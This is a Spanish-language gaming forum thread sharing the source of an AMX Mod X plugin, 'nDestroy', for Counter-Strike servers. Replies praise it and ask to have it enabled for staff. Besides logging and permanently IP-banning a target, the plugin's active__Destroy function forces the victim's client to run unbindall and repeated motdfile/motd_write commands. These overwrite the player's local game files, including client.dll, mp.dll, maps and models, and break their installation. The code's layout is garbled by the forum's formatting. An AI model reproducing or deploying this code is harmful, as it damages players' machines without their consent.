• ¡Nuevo Tema Gaming!
  • ¡Exclusivo y Unico Diseño!
  • Foro Actualmente en construcción por Rody
  • Creciendo Junto a vos!
  Tema cerrado
Calificación:
  • 0 voto(s) - 0 Media
  • 1
  • 2
  • 3
  • 4
  • 5
Aporte nDestroy 1.0
#1
Autor: Sky^^
Versión: 1.0

Función: Seguro todos conocen el típico destroy para no steam, este es una modificación de ese pero funcional para Steam y Non-Steam más algunas otras modificaciones, como agregar razón del destroy, archivo log que se crea al darle destroy a un usuario y ban a la ip permanentemente.

Importante:
Código PHP:
#define ACCESS_DESTROY -1 // Acceso del usuario para utilizar el comando de destroy.
new const g_szPrefix[ ] = "[ DESTROY ]" // Prefijo de los mensajes.

amx_destroy Nombre > < Razón // Comando para dar destroy. 

Código:
Código PHP:
#include <amxmodx>
#include <amxmisc>

new const g_szPlugin[ ][ ] = { "Destroy""1.0""Sky^^" };
new const 
g_szPrefix[ ] = "[ DESTROY ]";

#define ACCESS_DESTROY -1

/* ===================================================== */

public plugin_init( ) {
    
register_pluging_szPlugin], g_szPlugin] ,g_szPlugin] );
    
register_concmd"amx_destroy""h__Destroy"ACCESS_DESTROY"< Nick > < Razon >" );
}

public 
h__Destroyidlevelcid ) {
    if( !
cmd_accessidlevelcid) ) return PLUGIN_HANDLED;
    
    static 
iNick32 ], iRazon32 ];
    new 
iTarget;
    
read_argv1iNickcharsmaxiNick ) );
    
read_argv2iRazoncharsmaxiRazon ) );
    
iTarget cmd_targetidiNick);
    
    if( !
iTarget ) return PLUGIN_HANDLED;
    if( 
equaliiRazon"" ) || equaliiRazon" " ) ) {
        
client_printidprint_console"Debes introducir una razon valida." );
        return 
PLUGIN_HANDLED;
    }
    
    static 
iNameAdmin33 ], iNameUser33 ], iIdAdmin25 ], iIdUser25 ], iIpAdmin25 ], iIpUser25 ];
    
get_user_nameidiNameAdmincharsmaxiNameAdmin ) );
    
get_user_nameiTargetiNameUsercharsmaxiNameUser ) );
    
get_user_authididiIdAdmincharsmaxiIdAdmin ) );
    
get_user_authidiTargetiIdUsercharsmaxiIdUser ) );
    
get_user_ipidiIpAdmincharsmaxiIpAdmin ) );
    
get_user_ipiTargetiIpUsercharsmaxiIpUser ) );
    
    
log_to_file"Destroy.txt""Admin: %s ( Id: %s | Ip: %s ) - Destroy al usuario %s ( Id: %s | Ip: %s ) razon: %s",
    
iNameAdminiIdAdminiIpAdminiNameUseriIdUseriIpUseriRazon );
    
    
client_print0print_chat"%s Admin: %s - Destroy al usuario: %s - Razon: %s."g_szPrefixiNameAdminiNameUseriRazon );
    
active__DestroyiTarget );
    
    
client_printiTargetprint_console"^n^n/------------------------------------\" );
    client_print( iTarget, print_console, "
Informacion del Ban" );
    client_print( iTarget, print_console, "
Admin: %s", iNameAdmin );
    client_print( iTarget, print_console, "
Usuario: %s", iNameUser );
    client_print( iTarget, print_console, "
Razon: %s", iRazon );
    client_print( iTarget, print_console, "
TipoDestroy+Ban" );
    client_print( iTarget, print_console, "
\-------------------------------------/^n^n" );
    
    client_cmd( id, "
amx_banip ^"%s^" ^"0^" ^"%s^"", iIpUser, iRazon );    
    
    return PLUGIN_HANDLED;
}

public active__Destroy( id ) {
    client_cmd( id, "
wait;wait;wait;wait;wait;^"unbindall^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile resource/GameMenu.res;motd_write MgP;motdfile dlls/mp.dll^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile cl_dlls/client.dll;motdfile cs_dust.wad;motdfile cstrike.wad^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile sprites/muzzleflash1.spr;motdfile events/ak47.sc;motdfile models/v_ak47.mdl^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile models/v_deagle.mdl;motdfile maps/de_dust2.bsp;motdfile models/v_m4a1.mdl^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile maps/de_inferno.bsp;motdfile models/player/arctic.mdl;motdfile models/player/guerilla.mdl^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile models/player/leet.mdl;motdfile resource/background/800_1_a_loading.tga^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile resource/background/800_3_c_loading.tga;motdfile chateau.wad;motdfile events/m4a1.sc^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile resource/GameMenu.res;motd_write Crazy Gaming;motdfile dlls/mp.dll^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile cl_dlls/client.dll;motdfile cs_dust.wad;motdfile cstrike.wad^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile sprites/muzzleflash1.spr;motdfile events/ak47.sc;motdfile models/v_ak47.mdl^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile models/v_deagle.mdl;motdfile maps/de_dust2.bsp;motdfile models/v_m4a1.mdl^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile maps/de_inferno.bsp;motdfile models/player/arctic.mdl;motdfile models/player/guerilla.mdl^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile models/player/leet.mdl;motdfile resource/background/800_1_a_loading.tga^"" );
    client_cmd( id,"
wait;wait;wait;wait;wait;^"motdfile resource/background/800_3_c_loading.tga;motdfile chateau.wad;motdfile events/m4a1.sc^"" );
    
    client_cmd( id,"
wait;wait;wait;wait;wait;^"clear^"" );
}

/* ===================================================== */ 
[-] Los siguientes 4 users Like Sky^^'s post:
  • CstrikeroL, Kathii, Onwore, [F]-Y!LuksExCap
#2
:viidlike:

Me encantaría que agregaran este comando, pero ya seria para miembros del Staff con un alto rango.
                                                                                     
[Imagen: B56vz4y.gif]





             [Imagen: fOSWhiT.gif]






[Imagen: rHyStXB.gif]

Cita:El conocimiento, Mediante la desintegración! 

#Drunk-Girl....!
#3
Creo que quedaria bien añadirlo de nuevo (estuvo anteriormente)
Para  mi opinion seria de rangos mayores o iguales a mayores a Moderador

Espero y lo agreguen 

:viidlike:
#4
Bebe, cada vez me sorprendes más con tus trabajos. +1
Legend never die.
[-] Los siguientes 1 user Likes raizER^^'s post:
  • Sky^^

Salto de foro:

Usuarios navegando en este tema: 1 invitado(s)